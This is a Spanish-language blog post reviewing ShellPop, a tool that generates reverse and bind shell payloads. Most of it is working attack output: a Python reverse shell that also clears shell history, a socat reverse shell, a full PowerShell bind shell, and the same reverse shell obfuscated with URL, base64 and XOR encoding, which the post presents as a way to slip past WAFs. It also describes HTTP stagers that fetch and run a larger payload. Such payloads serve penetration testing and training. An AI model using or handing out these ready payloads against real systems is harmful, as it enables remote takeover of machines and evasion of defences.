ShellPop: herramienta para generar fácilmente payloads para shells reversas y bind

A finales de año nuestro compi Luis Vacas publicó la herramienta ReverseShell escrita en Powershell para generar el comando en una sola línea para distintas shell reversas.

Hoy probamos su homónimo en Python: ShellPop de Andre Marques (zc00l) que nos puede ayudar de igual forma a obtener los comandos necesarios para obtener shells bind y reversas de una forma muy fácil.

A modo de resumen y para empezar me gustó especialmente que soporta UDP y también bind shells y, sobretodo, la opción --clip que directamente copia al portapapeles el comando generado.

Dependencias

Se requiere Python 2.x:

root@kali# apt-get install python-argcomplete -y

root@kali# pip install -r requirements.txt

Instalación

root@kali# python setup.py install

PD: después de la instalación, solo funcionará autocompletar después de reiniciar el terminal.

Ejemplos de uso

# shellpop --help
usage: shellpop [-h] [-l] [-H HOST] [-P PORT] [--number NUMBER]
                [--shell SHELL] [--reverse] [--bind] [--xor] [--base64]
                [--urlencode] [--handler] [--stager STAGER]
                [--http-port HTTP_PORT] [--clip]

Options:
  -h, --help            show this help message and exit
  -l, --list            List of available shells
  -H HOST, --host HOST  IP to be used in connectback (reverse) shells.
  -P PORT, --port PORT  Port to be used in reverse/bind shell code.
  --number NUMBER       Shell code index number
  --shell SHELL         Terminal shell to be used when decoding some encoding
                        scheme.
  --handler             Use handler, if possible.

Shell Types:
  --reverse             Victim communicates back to the attacking machine.
  --bind                Open up a listener on the victim machine.

Encoders Options:
  --xor                 Enable XOR obfuscation
  --base64              Encode command in base64.
  --urlencode           Encode the command in URL encoding.

Staging Options:
  --stager STAGER       Use staging for shells
  --http-port HTTP_PORT
                        HTTP staging port to be used

Miscellaneous:
  --clip                Copy payload to your clipboard automatically.

Pop shells like a master. For more help
visit:https://github.com/0x00-0x00/ShellPop

Listado de shells

# shellpop --list
shellpop v0.35
Contributors: @zc00l,@touhidshaikh,@lowfuel

[+] Bind shells:

  1. Python TCP +pty
  2. Python UDP
  3. Perl TCP
  4. Perl UDP
  5. PHP TCP
  6. PHP UDP
  7. Ruby TCP
  8. Ruby UDP
  9. Netcat (OpenBSD) TCP
 10. Netcat+coproc (OpenBSD) UDP
 11. Netcat (Traditional) TCP
 12. AWK TCP
 13. socat UDP
 14. Windows Powershell TCP


[+] Reverse shells:

  1. Python TCP +pty
  2. Python UDP
  3. PHP TCP
  4. Ruby TCP
  5. Perl TCP 01
  6. Perl TCP 02
  7. Perl UDP [nc -lkvup PORT]
  8. Bash TCP
  9. Windows Powershell TCP
 10. TCLsh TCP
 11. Ncat TCP
 12. Netcat (Traditional) UDP
 13. Netcat (Traditional) TCP
 14. Netcat (OpenBSD) mkfifo TCP
 15. Netcat (OpenBSD) mknod TCP
 16. Telnet mkfifo TCP
 17. Telnet mknod TCP
 18. socat TCP
 19. awk TCP
 20. awk UDP
 21. Windows Ncat TCP - x64
 22. Windows Powershell Shellcode-Injection a.k.a BloodSeeker TCP - x64

Generar una shell reversa en Python hacia la IP 10.4.26.32 y el puerto 1337:
# shellpop --reverse --number 1 --host 10.4.26.32 --port 1337
[+] Execute this code in remote target:

python -c "import os; import pty; import socket; lhost = '10.4.26.32'; lport = 1337; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv('HISTFILE', '/dev/null'); pty.spawn('/bin/bash'); s.close();"

[+] This shell DOES NOT have a handler set.

Podemos indicar el interfaz deseado para obtener automáticamente su IP. Veámoslo con una reverse shell con Socat:

# shellpop --reverse --number 18 --host tun0 --port 1337
[+] Execute this code in remote target:

socat tcp-connect:10.4.28.32:1337 exec:"bash -li",pty,stderr,setsid,sigint,sane

[+] This shell DOES NOT have a handler set.

Ahora veamos otro ejemplo para una bind shell en Powershell:

# shellpop --bind --number 14 --port 8888
[+] Execute this code in remote target:

powershell.exe -nop -ep bypass -Command '$port=8888;$listener=[System.Net.Sockets.TcpListener]$port;$listener.Start();$client = $listener.AcceptTCPClient();$stream=$client.GetStream();[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell running as user \" + $env:username + \" on \" + $env:computername + \"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\");$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes(\"PS \" + (Get-Location).Path + \"> \");$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $returndata = ([text.encoding]::ASCII).GetString($bytes, 0, $i); try { $result = (Invoke-Expression -command $returndata 2>&1 | Out-String ) } catch { Write-Warning \"Something went wrong with execution of command on the target.\"; Write-Error $_; }; $sendback = $result +  \"PS \" + (Get-Location).Path + \"> \"; $x = ($error[0] | Out-String); $error.clear(); $sendback = $sendback + $x; $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback); $stream.Write($sendbytes, 0, $sendbytes.Length); $stream.Flush();}; $client.Close(); if ($listener) { $listener.Stop(); };'

[+] This shell DOES NOT have a handler set.

Handlers

Si habéis visto los payloads resultantes, seguro que os ha llamado la atención el mensaje [+] This shell DOES NOT have a handler set.

Ya sabéis que un handler es un mecanismo para "manejar" la función de servir un socket para recibir la conexión entrante o para conectarse a un endpoint del servidor para establecer la shell, es decir, como un listener. ShellPop maneja los siguientes handlers TCP:

- TCP PTY Handlers
- TCP Handlers

Esto significa que a cada shell TCP se le puede agregar como argumento la opción --handler y así eliminar la necesidad de tener luego que levantarlo a mano (normalmente con netcat):


Stagers

Stager es un mecanismo para servir un payload en ETAPAS o STAGES. A veces, la complejidad o el tamaño del payload pueden ser problemáticos. En tales casos, se puede crear un pequeño payload que a su vez puede solicitar y ejecutar otro más grande.

Actualmente hay soporte de los siguientes protocolos de Stagers:

- HTTP

Stagers HTTP

ShellPop tiene el siguiente conjunto de stages HTTP para adaptarse a cualquier escenario que se desee:

- Stagers de Linux (Python, Perl, Wget y cURL)
- Stagers de Windows (Powershell, CertUtil, BitsAdmin y Cscript)

Para usar  HTTP staging, hay que añadir --stager http y, opcionalmente, si desea especificar el puerto del servidor HTTP, el parámetro --http-port:

 
Encoders

Con los encoders podemos ofuscar nuestros payloads para evitar por ejemplo los "molestos" WAFs. Actualmente ShellPop soporte tres tipos de encoders:

- Codificación XOR: Utiliza una clave numérica aleatoria (1-255) para ofuscar el payload y agrega un stub para descifrarla.
- Codificación Base64: codificación básica en base64 en los datos del payload y agrega un stub para descifrarla.
- Codificación URL: codificación URL simple sobre el payload final

Veamos algunos ejemplos:

Generación de una shell reversa en Python TCP para la IP 1.2.3.4 en el puerto 443 pero usando codificación URL, adecuada para usar a través del protocolo HTTP.

# shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --urlencode
[+] Execute this code in remote target:

python%20-c%20%22import%20os%3B%20import%20pty%3B%20import%20socket%3B%20lhost%20%3D%20%271%2e2%2e3%2e4%27%3B%20lport%20%3D%20443%3B%20s%20%3D%20socket%2esocket%28socket%2eAF_INET%2C%20socket%2eSOCK_STREAM%29%3B%20s%2econnect%28%28lhost%2C%20lport%29%29%3B%20os%2edup2%28s%2efileno%28%29%2C%200%29%3B%20os%2edup2%28s%2efileno%28%29%2C%201%29%3B%20os%2edup2%28s%2efileno%28%29%2C%202%29%3B%20os%2eputenv%28%27HISTFILE%27%2C%20%27%2fdev%2fnull%27%29%3B%20pty%2espawn%28%27%2fbin%2fbash%27%29%3B%20s%2eclose%28%29%3B%22%20

[+] This shell DOES NOT have a handler set.

Generación de una shell reversa en Python TCP para la IP 1.2.3.4 en el puerto 443 pero usando pero codificándolo en base64 y configurando un contenedor para decodificarlo. Esto ayuda cuando las comillas dan problemas.

# shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --base64
[+] Execute this code in remote target:

echo cHl0aG9uIC1jICJpbXBvcnQgb3M7IGltcG9ydCBwdHk7IGltcG9ydCBzb2NrZXQ7IGxob3N0ID0gJzEuMi4zLjQnOyBscG9ydCA9IDQ0MzsgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgobGhvc3QsIGxwb3J0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwgMCk7IG9zLmR1cDIocy5maWxlbm8oKSwgMSk7IG9zLmR1cDIocy5maWxlbm8oKSwgMik7IG9zLnB1dGVudignSElTVEZJTEUnLCAnL2Rldi9udWxsJyk7IHB0eS5zcGF3bignL2Jpbi9iYXNoJyk7IHMuY2xvc2UoKTsiIA==|base64 -d|/bin/bash

[+] This shell DOES NOT have a handler set.

De nuevo lo mismo pero codificando en xor:

# shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --xor
[+] Execute this code in remote target:

/bin/bash -c 's="";for x in $(echo c2cbc6dadddc929fd19290dbdfc2ddc0c692ddc18992dbdfc2ddc0c692c2c6cb8992dbdfc2ddc0c692c1ddd1d9d7c68992dedaddc1c6928f9295839c809c819c86958992dec2ddc0c6928f928686818992c1928f92c1ddd1d9d7c69cc1ddd1d9d7c69ac1ddd1d9d7c69cf3f4edfbfcf7e69e92c1ddd1d9d7c69ce1fdf1f9ede1e6e0f7f3ff9b8992c19cd1dddcdcd7d1c69a9adedaddc1c69e92dec2ddc0c69b9b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92829b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92839b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92809b8992ddc19cc2c7c6d7dcc49a95fafbe1e6f4fbfef7959e92959dd6d7c49ddcc7dede959b8992c2c6cb9cc1c2d3c5dc9a959dd0dbdc9dd0d3c1da959b8992c19cd1deddc1d79a9b899092|sed "s/../&\n/g"); do s=$s$(echo -e $(awk "BEGIN {printf \"%x\n\", xor(0x$x, 0xb2)}"|sed "s/../\\\\x&/g"));done;echo $s|/bin/bash'

[+] This shell DOES NOT have a handler set.

Y por último... ¡combinando todas las codificaciones!

# shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --urlencode --base64 --xor
[+] Execute this code in remote target:

echo%20L2Jpbi9iYXNoIC1jICdzPSIiO2ZvciB4IGluICQoZWNobyA3YTczN2U2MjY1NjQyYTI3NjkyYTI4NjM2NzdhNjU3ODdlMmE2NTc5MzEyYTYzNjc3YTY1Nzg3ZTJhN2E3ZTczMzEyYTYzNjc3YTY1Nzg3ZTJhNzk2NTY5NjE2ZjdlMzEyYTY2NjI2NTc5N2UyYTM3MmEyZDNiMjQzODI0MzkyNDNlMmQzMTJhNjY3YTY1Nzg3ZTJhMzcyYTNlM2UzOTMxMmE3OTJhMzcyYTc5NjU2OTYxNmY3ZTI0Nzk2NTY5NjE2ZjdlMjI3OTY1Njk2MTZmN2UyNDRiNGM1NTQzNDQ0ZjVlMjYyYTc5NjU2OTYxNmY3ZTI0NTk0NTQ5NDE1NTU5NWU1ODRmNGI0NzIzMzEyYTc5MjQ2OTY1NjQ2NDZmNjk3ZTIyMjI2NjYyNjU3OTdlMjYyYTY2N2E2NTc4N2UyMzIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzYTIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzYjIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzODIzMzEyYTY1NzkyNDdhN2Y3ZTZmNjQ3YzIyMmQ0MjQzNTk1ZTRjNDM0NjRmMmQyNjJhMmQyNTZlNmY3YzI1NjQ3ZjY2NjYyZDIzMzEyYTdhN2U3MzI0Nzk3YTZiN2Q2NDIyMmQyNTY4NjM2NDI1Njg2Yjc5NjIyZDIzMzEyYTc5MjQ2OTY2NjU3OTZmMjIyMzMxMjgyYXxzZWQgInMvLi4vJlxuL2ciKTsgZG8gcz0kcyQoZWNobyAtZSAkKGF3ayAiQkVHSU4ge3ByaW50ZiBcIiV4XG5cIiwgeG9yKDB4JHgsIDB4YSl9InxzZWQgInMvLi4vXFxcXHgmL2ciKSk7ZG9uZTtlY2hvICRzfC9iaW4vYmFzaCc%3D%7Cbase64%20-d%7C%2fbin%2fbash

[+] This shell DOES NOT have a handler set.

Proyecto: https://github.com/0x00-0x00/ShellPop

Comentarios